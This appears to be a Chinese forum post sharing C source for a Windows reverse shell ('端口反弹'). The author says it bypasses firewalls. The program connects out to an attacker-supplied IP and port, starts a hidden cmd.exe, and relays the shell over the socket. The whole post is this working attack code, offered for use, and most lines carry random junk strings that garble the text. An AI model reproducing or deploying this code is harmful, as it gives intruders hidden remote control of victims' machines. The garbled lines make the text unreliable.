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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Pt;Ahmi  
HBGA lZ  
/* ============================== dR{ V,H7N  
Rebound port in Windows NT k}qiIMdI  
By wind,2006/7 hvZR4|k>  
===============================*/ l~c> jm8.  
#include 4'| :SyOm  
#include 84cH|j`w  
4u7>NQUDu  
#pragma comment(lib,"wsock32.lib") nL~ b   
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void OutputShell(); \,t<{p_Q  
SOCKET sClient; xGk4KcxKs  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H43D=N&  
,6pH *b $  
void main(int argc,char **argv) N'.+ezZ;h  
{ |:BYOxAYZ8  
WSADATA stWsaData; j"8N)la  
int nRet; izo $0  
SOCKADDR_IN stSaiClient,stSaiServer; jo#F&  
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if(argc != 3) (j"MsCwE  
{ 5aQg^f%\  
printf("Useage:\n\rRebound DestIP DestPort\n"); yt,;^o^  
return; fdHxrH >*  
} y5h[^K3  
oPZ4}>uV  
WSAStartup(MAKEWORD(2,2),&stWsaData); y Dw!u[:  
sR nMBW.  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X.|0E87  
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stSaiClient.sin_family = AF_INET; OUMr}~/  
stSaiClient.sin_port = htons(0); l))IO`s=_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x*)O<K  
&|] ^ u/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )Cfrqe1^  
{ +2O_LPV$,  
printf("Bind Socket Failed!\n"); 4N: ;Mo&B  
return; 6>J #M  
} _gh7_P^H=d  
3/05ee;|  
stSaiServer.sin_family = AF_INET; Bk <P~-I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *h9vMks o  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s50ln&2  
}C}_ I:=C  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) px@\b]/  
{ < Ifnf 6~  
printf("Connect Error!"); =Y[Ae7e  
return; LcF3P 4  
} :LG%8Z{R  
OutputShell(); A4h/oMis  
} g.s oN qt=  
H skN(Ho  
void OutputShell() N3) v,S-  
{ L~~Yh{<  
char szBuff[1024]; l[k$O$jo  
SECURITY_ATTRIBUTES stSecurityAttributes; 9f`Pi:*+/  
OSVERSIONINFO stOsversionInfo; 2=EKAg=S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [%kucGC7  
STARTUPINFO stStartupInfo; _TF>c:m3  
char *szShell; Zlo,#q  
PROCESS_INFORMATION stProcessInformation; ") D!OW]  
unsigned long lBytesRead; qC1@p?8$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UtN>6$u  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B?Skw{&  
stSecurityAttributes.lpSecurityDescriptor = 0; (%}C  
stSecurityAttributes.bInheritHandle = TRUE; Y2EN!{YU  
0 HmRl  
H;1}Nvvd  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $EF@x}h:A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .<dmdqk]  
+&@0;zSga  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~l~g0J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @@jdF-Utj;  
stStartupInfo.wShowWindow = SW_HIDE; 9K!='u`  
stStartupInfo.hStdInput = hReadPipe; (6nw8vQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L_,U*Jyo  
 ~A/_\-  
GetVersionEx(&stOsversionInfo); E3!twR*Aw  
iY-dM(_:]  
switch(stOsversionInfo.dwPlatformId) >Fz$DKr[  
{ HV@:!zM  
case 1: 5mU_S\)4:z  
szShell = "command.com"; ^>fs  
break; "L]_NS T  
default: [@6iStRg7  
szShell = "cmd.exe"; j7&l&)5  
break; 4KCxhJq  
} "dOzQz*E  
eAMT72_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zKNk(/y  
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send(sClient,szMsg,77,0); Bh?;\D'YC  
while(1) ,ME9<3Ac  
{ o9i\[Ul  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GSp1,E2J  
if(lBytesRead) e 3K  
{ 8T4J^6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PBmt.yF  
send(sClient,szBuff,lBytesRead,0); &,zeBFmc  
} :9}*p@  
else DN+`Q{KS  
{ Ju<D7  
lBytesRead=recv(sClient,szBuff,1024,0); AN@Vos Cu  
if(lBytesRead<=0) break; \"SI-`x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w8qI7/  
} ,v"A}g0"  
} :Lx]`dSk  
Zu,f&smb  
return; gA6C(##0  
}
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